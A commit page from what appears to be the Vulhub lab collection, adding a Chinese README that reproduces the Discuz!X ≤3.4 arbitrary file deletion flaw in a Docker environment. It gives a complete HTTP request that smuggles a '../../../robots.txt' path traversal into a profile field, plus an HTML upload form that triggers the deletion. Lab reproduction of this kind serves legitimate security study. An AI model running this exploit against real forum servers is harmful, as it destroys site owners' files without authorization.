first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
83
discuz/x3.4-arbitrary-file-deletion/README.zh-cn.md
Normal file
83
discuz/x3.4-arbitrary-file-deletion/README.zh-cn.md
Normal file
@@ -0,0 +1,83 @@
|
||||
# Discuz!X ≤3.4 任意文件删除漏洞
|
||||
|
||||
Discuz!X是一个广泛使用的论坛软件系统。在Discuz!X 3.4及以下版本中存在一个任意文件删除漏洞,攻击者可以通过用户资料修改功能删除服务器上的任意文件。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://lorexxar.cn/2017/09/30/dz-delete/>
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行下列命令部署Discuz!X安装环境:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
安装时,只需修改数据库地址为`db`,其他配置保持默认即可:
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
首先,访问`http://your-ip/robots.txt`确认目标文件(如robots.txt)存在:
|
||||
|
||||

|
||||
|
||||
注册用户后,在个人设置页面找到自己的formhash值:
|
||||
|
||||

|
||||
|
||||
发送如下HTTP请求,注意替换其中的cookie和formhash值:
|
||||
|
||||
```
|
||||
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Length: 367
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
|
||||
Cookie: [你的cookie]
|
||||
Connection: close
|
||||
|
||||
------WebKitFormBoundaryPFvXyxL45f34L12s
|
||||
Content-Disposition: form-data; name="formhash"
|
||||
|
||||
[你的formhash]
|
||||
------WebKitFormBoundaryPFvXyxL45f34L12s
|
||||
Content-Disposition: form-data; name="birthprovince"
|
||||
|
||||
../../../robots.txt
|
||||
------WebKitFormBoundaryPFvXyxL45f34L12s
|
||||
Content-Disposition: form-data; name="profilesubmit"
|
||||
|
||||
1
|
||||
------WebKitFormBoundaryPFvXyxL45f34L12s--
|
||||
```
|
||||
|
||||
提交成功后,用户资料修改页面上的出生地会显示如下状态:
|
||||
|
||||

|
||||
|
||||
这表明我们的恶意数据已经成功写入数据库。
|
||||
|
||||
接下来,创建一个`upload.html`文件,代码如下(将`[your-ip]`替换为你的Discuz域名,`[form-hash]`替换为你的formhash值):
|
||||
|
||||
```html
|
||||
<body>
|
||||
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
|
||||
<input type="file" name="birthprovince" />
|
||||
<input type="submit" value="upload" />
|
||||
</form>
|
||||
</body>
|
||||
```
|
||||
|
||||
用浏览器打开该页面并上传一个普通图片文件。此时,恶意数据应该已被处理,漏洞利用完成。
|
||||
|
||||
再次访问`http://your-ip/robots.txt`,可以验证文件已被成功删除:
|
||||
|
||||

|
Reference in New Issue
Block a user